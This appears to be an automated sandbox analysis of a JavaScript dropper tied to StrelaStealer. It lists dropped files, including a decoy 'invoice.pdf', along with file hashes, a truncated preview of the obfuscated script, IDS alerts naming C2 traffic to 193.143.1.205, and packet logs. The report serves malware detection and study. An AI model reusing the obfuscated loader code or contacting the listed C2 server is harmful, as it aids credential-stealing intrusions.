Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\e5b59619-4d8d-45e0-8b66-5763d8d44a01.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16328), with CRLF line terminators
Entropy (8bit):	4.933246268199824
TrID:
File name:	3097128047142338539.js
File size:	19'873 bytes
MD5:	9a01fa373356817c836276e99919ea65
SHA1:	c0c44825b2eee506110313aaa82f1a7ace4a1127
SHA256:	423882deae04f9ada959bb32e24f3c899fc4aa3a471652250c54fa8c5290e708
SHA512:	1f86870d15c06478cf90f5c4f43568e6be7df0d8d67f353d4a6c35f4deb8eecbf12eaf8a042338f442c54e9417b390123b7508bdc420b4923b621f231aa0e3ce
SSDEEP:	384:9ZypRysDWw5Kwp8x6YKi1tpaw0/YpyMHlHPpwvfi9A:ODWw5hYfpawtyGdRIfi9A
TLSH:	7F927381882353F5C9F85EA0A74709F31284C1C95AD0BAEE79D03C291D54BA9D5F3AFD
File Content Preview:	function sicamfi(){ysfxkxa=[1031,3079,5127,4103,2055,3072];var sermvcvmu=this[jerwpnazt+nbdvkuk+zljvdl+emxsnpvyd+mxjdrtq+mlwqasqng+pbvbmjp+iyuxox](this[celpapdt+dglboenqf+ppnhffoa+zljvdl+swmmx+jerwpnazt+iyuxox][fzzcu+zljvdl+mxjdrtq+nbdvkuk+iyuxox+mxjdrtq+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T02:17:17.094837+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49706	193.143.1.205	80	TCP
2025-01-11T02:17:17.094837+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.8	49706	193.143.1.205	80	TCP
2025-01-11T02:17:19.275544+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49707	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:17:16.260978937 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:16.265878916 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:16.266168118 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:16.268619061 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:16.273447037 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.093936920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.093957901 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.093970060 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.094013929 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.094026089 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.094090939 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.094099998 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.094172955 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.094183922 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.094261885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.094836950 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.094836950 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.094836950 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.094836950 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.094836950 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.099674940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.099719048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.099733114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.100598097 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.150594950 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.151432037 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.151443958 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.151509047 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.215457916 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.215476990 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.215529919 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.215569019 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.215756893 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.215817928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.215828896 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.216187000 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.216248989 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.216262102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.216320992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.216825008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.216865063 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.216876030 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.216911077 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.216911077 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.216911077 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.216911077 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.216911077 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.216911077 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.216911077 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.217015982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.217030048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.217673063 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.217724085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.217736006 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.217850924 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.217864037 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.218600988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.218616009 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.218622923 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.218622923 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.218622923 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.218851089 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.262738943 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.285840988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.285881042 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.285892963 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.286762953 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.307681084 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.307718992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.310952902 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.337694883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.337738037 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.337750912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.337848902 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.337946892 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.337956905 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.337969065 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.338212013 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.338223934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.338236094 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.338254929 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.338254929 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.338255882 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.338255882 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.338255882 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.338268042 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.338622093 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.338659048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.338670015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.338684082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.338776112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.338787079 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.338799000 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.339334965 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.339334965 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.339334965 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.339378119 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.339390993 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.339402914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.339529037 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.339539051 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.339551926 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.339570045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.340255976 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.340270042 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.340281963 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.340432882 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.340444088 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.340456963 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.340470076 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.340508938 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.340508938 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.340508938 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.340508938 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.340508938 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.340508938 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.340508938 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.341119051 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.341157913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.341224909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.341242075 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.341367006 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.341377974 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.341391087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.342061043 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.342073917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.342710972 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.342710972 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.342710972 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.342710972 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.378190041 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.378216982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.378339052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.378349066 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.378361940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.378405094 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.379337072 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.379337072 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.379337072 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.399981976 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.400034904 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.400048018 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.400126934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.403331995 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.403331995 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.429927111 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.429938078 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.430119038 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.459135056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.459158897 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.459305048 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.459362030 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.459433079 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.459448099 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.459507942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.459551096 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.459551096 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.459666967 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.459708929 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.459780931 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.459805965 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.459842920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.459853888 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.459944963 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.459978104 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.459978104 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.460402966 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.460417032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.460516930 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.460529089 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.460650921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.460663080 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.460680008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.461323977 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.461334944 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.461348057 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.461359978 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.461359978 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.461359978 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.461359978 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.461397886 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.461442947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.461505890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.461518049 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.461534977 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.462223053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.462234974 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.462246895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.462354898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.462366104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.462379932 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.462390900 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.462415934 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.462415934 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.462415934 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.462416887 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.462416887 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.463160992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.463172913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.463186026 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.463262081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.463273048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.463284016 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.463295937 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.463331938 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.463331938 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.463331938 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.463331938 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.463980913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.464020014 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.464229107 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.464296103 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.464318991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.464329004 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.464339972 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.464351892 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.464895010 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.464970112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.464981079 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.465050936 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.465061903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.465183020 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.465193987 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.465230942 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.465230942 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.465230942 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.465230942 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.465230942 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.465230942 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.465888023 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.465903997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.465919971 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.465939045 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.466011047 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.466021061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.466036081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.466590881 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.466603994 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.466837883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.466850042 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:17:17.466885090 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.466885090 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:17:17.466885090 CET	49706	80	192.168.2.8	193.143.1.205
